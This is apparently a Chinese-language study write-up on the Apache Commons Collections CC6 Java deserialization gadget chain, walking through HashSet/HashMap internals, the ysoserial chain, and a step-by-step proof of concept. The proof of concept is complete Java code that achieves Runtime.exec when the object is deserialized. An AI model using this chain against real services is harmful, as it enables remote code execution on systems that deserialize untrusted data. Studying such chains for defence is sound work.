CommonsCollection6反序列化链学习

1、前置知识

1.1、HashSet

HashSet 基于 HashMap 来实现的，是一个不允许有重复元素的集合。继承了序列化和集合

构造函数参数为空的话创建一个HashMap(),有一个参数的情况下，要创建指定容量的初始数值的哈希集合。

我们看到add方法会调用map.put()方法。这个map就是HashMap()

//定义HashMap,E在泛型表示集合的元素，元素的类型为Object private transient HashMap<E,Object> map; ...... public HashSet() {   map = new HashMap<>(); }  ...... //创建初始容量为initialCapacity的HashSet，其实就是创建HashMap集合 public HashSet(int initialCapacity) {   map = new HashMap<>(initialCapacity); }  ...... //往HashSet添加元素，其实就是调用HashMap的put方法添加 public boolean add(E e) {   return map.put(e, PRESENT)==null; }

1.2、HashMap

HashMap 是一个散列表，它存储的内容是键值对(key-value)映射，实现了Map 接口、Serializable接口

首先怎么怎么新建一个HashMap,这里就是创建一个整型（Integer）的 key 和字符串（String）类型的 value。

HashMap<Integer, String> Sites = new HashMap<Integer, String>();

添加键值对(key-value)的方法是put，接着上面我们添加键值对时也要传输对应的类型

 Sites.put(1, "Google");

访问元素

通过get(key),获取value的值

Sites.get(1)

删除元素

使用 remove(key) 方法来删除指定的key 对应的键值，删除所有键值

Sites.remove(1);删除指定的key对应的键值 Sites.clear();删除所有键值

计算大小

计算 HashMap 中的元素数量

Sites.size()

遍历

通过keySet()方法获取所有的key(键)，也可以通过所有的valueSet()，获取所有value(键值)

//输出所有的键和键值 for (Integer i : Sites.keySet()) {   System.out.println("key: " + i + " value: " + Sites.get(i)); } //输出所有的键值 for(String value: Sites.values()) {   // 输出每一个value   System.out.print(value + ", "); }

1.3、debug问题

关于在调试put方法直接弹窗的解决办法。因为idea开启了自动tostring和展示集合对象

CommonsCollection6反序列化链学习

关掉改这两个选项既正常调试

CommonsCollection6反序列化链学习

2、POC利用

2.1、利用链

这次我们先看ysoseria的利用链

/* 	Gadget chain: 	    java.io.ObjectInputStream.readObject()             java.util.HashSet.readObject()                 java.util.HashMap.put()                 java.util.HashMap.hash()                     org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()                     org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()                         org.apache.commons.collections.map.LazyMap.get()                             org.apache.commons.collections.functors.ChainedTransformer.transform()                             org.apache.commons.collections.functors.InvokerTransformer.transform()                             java.lang.reflect.Method.invoke()                                 java.lang.Runtime.exec()     by @matthias_kaiser */

我们发现前面的利用链跟我们cc5可以说是一模一样，知道getValue()，cc5使用BadAttributeValueExpException的toString触发

TiedMapEntry的toString触发TiedMapEntry的getValue，以此类推。而cc6采用的是HashSet、HashMap来完成的我们来仔细分析一下

2.2、POC分析

TiedMapEntry.hashCode()

正如利用链那样可以调用getValue()方法，

CommonsCollection6反序列化链学习

HashMap.hash()

hash方法传入的参数为Object类型的key，然后用key去调用hashcode，所以我们只要传个恶意的TiedMapEntry作为hash()的key，就可以触发TiedMapEntry.hashCode()。

CommonsCollection6反序列化链学习

HashMap.put()

我们看到HashMap()的put方法，其中hash(key)的key是通过put传输的，所以我们调用HashMap的put方法时，我们恶意构造的TiedMapEntry当做key传入就可以。

CommonsCollection6反序列化链学习

HashSet.readObject()

看到通过readObject循环map.put()，从readObject读取，其中的map就是HashMap，前置知识有学习。到这里我们就可以尝试自己构造链子了。

CommonsCollection6反序列化链学习

2.3、poc构造

2.3.1、第一步

首先我们把cc5的链直接搬过来，构造一个恶意的tiedMapEntry。

Transformer[] transformers=new Transformer[]{   new ConstantTransformer(Runtime.class),   new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),   new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),   new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"}) };  ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  Map map=new HashMap(); Map lazyMap=LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

2.3.2、第二步

创建HashSet,把我们的tiedMapEntry作为key传进去，通过add方法调用HashMap的put方法传进去。

HashSet hashSet=new HashSet(1); hashSet.add(tiedMapEntry);

我们来序列化，再反序列化，但是我们在序列化的时候就已经弹窗了

CommonsCollection6反序列化链学习

网上查查看看，找出问题点为hashSet.add(tiedMapEntry)方法，在该方法会中add调用了put方法，这样就会直接触发我们的利用链，那我们有啥办法吗？答案就是在序列化的时候才通过反射把lazymap传进去，这样在我们add方法后才赋值，就不会触发我们的恶意代码。

CommonsCollection6反序列化链学习

2.3.3、第三步

lazymap中用于调用的transform的属性为factory

CommonsCollection6反序列化链学习

那么我们在调用HashSet的add的方法，在对LazyMap赋值时，传入一个空的ConstantTransformer，在执行完HashSet的add方法后，通过反射修改lazyMap属性factory的值为我们的恶意ChainedTransformer类。

package com.akkacloud;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;  public class CommonsCollection6 {     public static void main(String[] args) throws Exception {          Transformer[] transformers=new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})         };          ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);          Map map=new HashMap();         Map lazyMap=LazyMap.decorate(map,new ConstantTransformer(1));         TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");          HashSet hashSet=new HashSet(1);         hashSet.add(tiedMapEntry);           Field field = LazyMap.class.getDeclaredField("factory");         field.setAccessible(true);         field.set(lazyMap,chainedTransformer);          serialize(hashSet); //        unserialize();       }      public static void serialize(Object obj ) throws Exception{         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));         objectOutputStream.writeObject(obj);     }     public static void unserialize() throws Exception{         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.ser"));         objectInputStream.readObject();     }  }

运行，在序列化的过程中没有问题，但是在反序列却没有弹窗！继续查找原因

我们在hashSet的add()方法打断点调试一下，慢慢跟进到LazyMap的get方法，此时会判断我们的lazymap中是否会存在key，不存在进入if，先调用this.factory.transform(key)，此时的因为我们前面把空的ConstantTransformer赋值给LazyMap，所以Lazymap的key肯定为空的。题外知识点containsKey() 方法检查 hashMap 中是否存在指定的 key 对应的映射关系

CommonsCollection6反序列化链学习

但是在执行完this.factory.transform(key)后，会再一次把调用map的put()给key赋值，所以我们在反序列化的时候key里面是有东西的，在!super.map.containsKey(key）时就会判断为假，也就是有key，根本走不到this.factory.transform(key)，所以我们要在HashSet的add()方法后清除lazymap的key,既调用Lazymap的remove（key），不可以使用Hashset的remove方法，因为此时hashset仍是我们传入空ConstantTransformer的Lazymap，必须要调用我们等会要操作的lazymap才可以，去除他的键值对关系

CommonsCollection6反序列化链学习

2.3.4、第四步-POC

package com.akkacloud;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;  import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;  public class CommonsCollection6 {     public static void main(String[] args) throws Exception {          Transformer[] transformers=new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})         };          ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);          HashMap<Object, Object> map = new HashMap<>();         Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));          TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");          HashSet hashSet=new HashSet(1);         hashSet.add(tiedMapEntry);         lazyMap.remove("test1");          //通过反射覆盖原有lazymap类的factory属性，传入我们的恶意chainedTransformer          Field field = LazyMap.class.getDeclaredField("factory");         field.setAccessible(true);         field.set(lazyMap,chainedTransformer);          serialize(hashSet);         unserialize();        }      public static void serialize(Object obj ) throws Exception{         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));         objectOutputStream.writeObject(obj);     }     public static void unserialize() throws Exception{         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));         objectInputStream.readObject();     }  }

CommonsCollection6反序列化链学习